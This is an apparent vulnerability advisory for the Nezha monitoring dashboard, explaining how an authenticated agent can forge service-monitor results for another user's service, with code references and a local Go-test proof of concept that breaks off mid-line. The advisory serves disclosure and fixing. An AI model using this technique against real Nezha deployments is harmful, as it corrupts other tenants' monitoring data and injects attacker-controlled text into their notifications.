Nezha's authenticated agents can forge service-monitor results for other users' services

#### Summary Nezha accepts service-monitor `TaskResult` messages from an authenticated agent based only on whether the reported service ID exists. The dashboard authenticates the agent and derives the reporter server ID from the gRPC stream, but the service-monitor result worker does not verify that the reporter server was selected for that service, belongs to the service owner, or was actually assigned that monitoring task. A low-privilege user with a valid agent secret and one registered agent can therefore submit forged monitoring results for another user's service ID. This allows cross-tenant corruption of service-monitor history/current state, and can influence victim-owned service notifications with attacker-controlled result text. #### Details The agent task stream accepts inbound `TaskResult` messages after authenticating agent metadata: - `service/rpc/auth.go:23-60` validates `client_secret` and `client_uuid`. - `service/rpc/auth.go:63-75` registers an unknown valid UUID as a server for the authenticated secret owner. - `service/rpc/nezha.go:40-48` authenticates the `RequestTask` stream and binds it to `clientID`. - `service/rpc/nezha.go:50-56` receives agent-controlled `TaskResult` messages. - `proto/nezha.proto:60-65` defines attacker-controlled `TaskResult.id`, `type`, `delay`, `data`, and `successful`. For service-monitor task types, the result is dispatched directly to the service sentinel using the authenticated server ID as reporter: - `service/rpc/nezha.go:85-90` dispatches service-monitor result types to `ServiceSentinelShared.Dispatch` with `Reporter: clientID`. - `model/service.go:131-140` treats non-operational task types as service-monitor result types. The vulnerable authorization gap is in the service-monitor worker: - `service/singleton/servicesentinel.go:475-483` checks only that `r.Data.GetId()` resolves to an existing service. - It does not check that `r.Reporter` is covered by that service. - It does not check that the service owner owns the reporter server. - It does not check that the dashboard actually sent this service-monitor task to that agent. The forged result is then recorded and used for service status processing: - `service/singleton/servicesentinel.go:487-528` records ping service history keyed by `ServiceID` and `Reporter`. - `service/singleton/servicesentinel.go:543-624` updates today's status, current service state, and state-change handling. - `service/singleton/servicesentinel.go:723-739` can send victim-owned notifications containing `mh.Data`, which is attacker-controlled result text. This is inconsistent with outbound service-monitor dispatch, which does enforce service coverage and ownership before sending tasks to agents: - `cmd/dashboard/rpc/rpc.go:84-109` sends service-monitor tasks only to selected/non-skipped servers according to `Service.Cover` and `SkipServers`. - `cmd/dashboard/rpc/rpc.go:96-107` calls `canSendTaskToServer` before sending. - `cmd/dashboard/rpc/rpc.go:182-193` permits outbound dispatch only when the service owner owns the server, or when the service owner is an admin. - `cmd/dashboard/controller/service.go:478-480` and `cmd/dashboard/controller/service.go:590-607` validate selected servers, trigger tasks, and notification groups during service creation/update. The inbound result path should mirror these authorization checks before accepting a result. #### PoC The following local PoC creates a temporary Go test file in `service/singleton`, uses an in-memory SQLite database, does not start the dashboard listener, does not contact public systems, and removes the temporary test file on exit. The PoC proves the vulnerable processing path by creating: - victim user ID `100`; - victim service ID `10`; - victim server ID `1`; - attacker user ID `200`; - attacker reporter server ID `2`. The victim service is configured with `ServiceCoverIgnoreAll` and only server `1` enabled. Therefore, the dashboard's outbound service-monitor dispatch logic would not send this task to attacker server `2`. The forged inbound result from reporter `2` is nevertheless accepted and creates a `ServiceHistory` row for victim service `10`. Environment tested: - Repository: `https://github.com/nezhahq/nezha.git` - Commit: `79c06d0f95ad4e0eedc01a72fc0c54f4666cb0bf` - OS: Linux - Test date: 2026-05-19 From a clean checkout of the tested commit, run: ```sh set -e pocfile=$(mktemp service/singleton/service_spoof_poc_XXXX_test.go) cleanup() { rm -f "$pocfile" } trap cleanup EXIT cat > "$pocfile" <<'EOF' package singleton import ( "testing" "time" "github.com/patrickmn/go-cache" "github.com/robfig/cron/v3" "gorm.io/driver/sqlite" "gorm.io/gorm" "github.com/nezhahq/nezha/model" pb "github.com/nezhahq/nezha/proto" ) func replaceServerSharedForSpoofPoC(t *testing.T, servers ...*model.Server) { t.Helper() original := ServerShared serverClass := &ServerClass{ class: class[uint64, *model.Server]{ list: make(map[uint64]*model.Server), }, uuidToID: make(map[string]uint64), } for _, server := range servers { serverClass.list[server.ID] = server } ServerShared = serverClass t.Cleanup(func() { ServerShared = original }) } func TestForgedAgentServiceResultCreatesHistoryForUnassignedService(t *testing.T) { originalDB := DB originalConf := Conf originalCache := Cache originalCronShared := CronShared originalServerShared := ServerShared originalServiceSentinelShared := ServiceSentinelShared originalNotificationShared := NotificationShared originalTSDB := TSDBShared originalLoc := Loc t.Cleanup(func() { DB = originalDB Conf = originalConf Cache = originalCache CronShared = originalCronShared ServerShared = originalServerShared ServiceSentinelShared = originalServiceSentinelShared NotificationShared = originalNotificationShared TSDBShared = originalTSDB Loc = originalLoc }) db, err := gorm.Open(sqlite.Open("file::memory:?cache=shared"), &gorm.Config{}) if err != nil { t.Fatal(err) } DB = db if err := DB.AutoMigrate( model.Server{}, model.Service{}, model.ServiceHistory{}, model.Notification{}, model.NotificationGroup{}, model.NotificationGroupNotification{}, ); err != nil { t.Fatal(err) } Conf = &ConfigClass{Config: &model.Config{AvgPingCount: 1}} Cache = cache.New(time.Minute, time.Minute) CronShared = &CronClass{ Cron: cron.New(cron.WithSeconds()), class: class[uint64, *model.Cron]{list: map[uint64]*model.Cron{}}, } NotificationShared = &NotificationClass{ class: class[uint64, *model.Notification]{list: map[uint64]*model.Notification{}}, groupToIDList: map[uint64]map[uint64]*model.Notification{}, idToGroupList: map[uint64]map[uint64]struct{}{}, groupList: map[uint64]string{}, } replaceServerSharedForSpoofPoC(t, &model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "victim-server"}, &model.Server{Common: model.Common{ID: 2, UserID: 200}, Name: "attacker-agent"}, ) Loc = time.UTC bus := make(chan *model.Service, 1) ss, err := NewServiceSentinel(bus) if err != nil { t.Fatal(err) } ServiceSentinelShared = ss victimService := &model.Service{ Common: model.Common{ID: 10, UserID: 100}, Name: "victim-private-service", Type: model.TaskTypeTCPPing, Target: "example.invalid:443", Duration: 3600, Cover: model.ServiceCoverIgnoreAll, SkipServers: map[uint64]bool{1: true}, } if err := DB.Create(victimService).Error; err != nil { t.Fatal(err) } if err := ss.Update(victimService); err != nil { t.Fatal(err) } ss.Dispatch(ReportData{ Reporter: 2, Data: &pb.TaskResult{ Id: 10, Type: model.TaskTypeTCPPing, Delay: 12, Data: "forged result from unauthorized agent", Successful: true, }, }) deadline := time.After(2 * time.Second) for { var count int64 if err := DB.Model(&model.ServiceHistory{}). Where("service_id = ? AND server_id = ?", 10, 2). Count(&count).Error; er